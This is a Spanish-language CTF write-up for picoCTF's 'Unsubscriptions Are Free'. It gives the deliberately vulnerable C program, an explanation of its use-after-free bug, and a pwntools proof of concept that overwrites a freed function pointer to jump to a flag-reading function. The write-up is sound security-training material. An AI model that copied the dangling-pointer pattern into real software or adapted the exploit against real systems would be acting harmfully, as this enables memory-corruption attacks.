Unsubscriptions Are Free

August 3, 20253 minutes
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20
typedef struct {
uintptr_t (*whatToDo)();
char *username;
} cmd;
char choice;
cmd *user;
void hahaexploitgobrrr(){
char buf[FLAG_BUFFER];
FILE *f = fopen("flag.txt","r");
fgets(buf,FLAG_BUFFER,f);
fprintf(stdout,"%s\n",buf);
fflush(stdout);
}
char * getsline(void) {
getchar();
char * line = malloc(100), * linep = line;
size_t lenmax = 100, len = lenmax;
int c;
if(line == NULL)
return NULL;
for(;;) {
c = fgetc(stdin);
if(c == EOF)
break;
if(--len == 0) {
len = lenmax;
char * linen = realloc(linep, lenmax *= 2);
if(linen == NULL) {
free(linep);
return NULL;
}
line = linen + (line - linep);
linep = linen;
}
if((*line++ = c) == '\n')
break;
}
*line = '\0';
return linep;
}
void doProcess(cmd* obj) {
(*obj->whatToDo)();
}
void s(){
printf("OOP! Memory leak...%p\n",hahaexploitgobrrr);
puts("Thanks for subsribing! I really recommend becoming a premium member!");
}
void p(){
puts("Membership pending... (There's also a super-subscription you can also get for twice the price!)");
}
void m(){
puts("Account created.");
}
void leaveMessage(){
puts("I only read premium member messages but you can ");
puts("try anyways:");
char* msg = (char*)malloc(8);
read(0, msg, 8);
}
void i(){
char response;
puts("You're leaving already(Y/N)?");
scanf(" %c", &response);
if(toupper(response)=='Y'){
puts("Bye!");
free(user);
}else{
puts("Ok. Get premium membership please!");
}
}
void printMenu(){
puts("Welcome to my stream! ^W^");
puts("==========================");
puts("(S)ubscribe to my channel");
puts("(I)nquire about account deletion");
puts("(M)ake an Twixer account");
puts("(P)ay for premium membership");
puts("(l)eave a message(with or without logging in)");
puts("(e)xit");
}
void processInput(){
scanf(" %c", &choice);
choice = toupper(choice);
switch(choice){
case 'S':
if(user){
user->whatToDo = (void*)s;
}else{
puts("Not logged in!");
}
break;
case 'P':
user->whatToDo = (void*)p;
break;
case 'I':
user->whatToDo = (void*)i;
break;
case 'M':
user->whatToDo = (void*)m;
puts("===========================");
puts("Registration: Welcome to Twixer!");
puts("Enter your username: ");
user->username = getsline();
break;
case 'L':
leaveMessage();
break;
case 'E':
exit(0);
default:
puts("Invalid option!");
exit(1);
break;
}
}
int main(){
setbuf(stdout, NULL);
user = (cmd *)malloc(sizeof(user));
while(1){
printMenu();
processInput();
//if(user){
doProcess(user);
//}
}
return 0;
}
Vuln
En este ejercicio hay un claro UAF. Al principio se declara un struct llamado cmd que almacena la dirección a una función (4 bytes) y el nombre de usuario (4 bytes). La variable user se declara como un puntero a ese struct.
En la función i() se hace un free(user), pero el programa sigue corriendo ya que la condición del main (if (user)) está comentada. Aquí hay un pequeño error, ya que se ha liberado el espacio de memoria de user, pero el puntero sigue apuntando a esa misma dirección.
En la función leaveMessage() se permite escribir un mensaje en el heap de 8 bytes. Como se ha liberado el espacio del heap que ocupaba user, al escribir ese mensaje se le puede asignar el mismo espacio. Así que los primeros 4 bytes del mensaje serán la función a la cual se va a saltar, y los 4 siguientes serán el username, ya que el puntero user sigue apuntando a esa dirección del heap.
PoC
#!/usr/bin/env python3
from pwn import *
exe = ELF("./vuln_patched")
context.binary = exe
context.terminal = ["alacritty"]
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("mercury.picoctf.net", 58574)
return r
def main():
r = conn()
r.sendlineafter(b'(e)xit', 'i')
r.sendlineafter(b'(Y/N)', 'Y')
r.sendlineafter(b'(e)xit', 'l')
payload = p32(0x080487d6) # FUNC WIN
payload += b'd3bo' # USERNAME
r.sendlineafter(b':', payload)
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()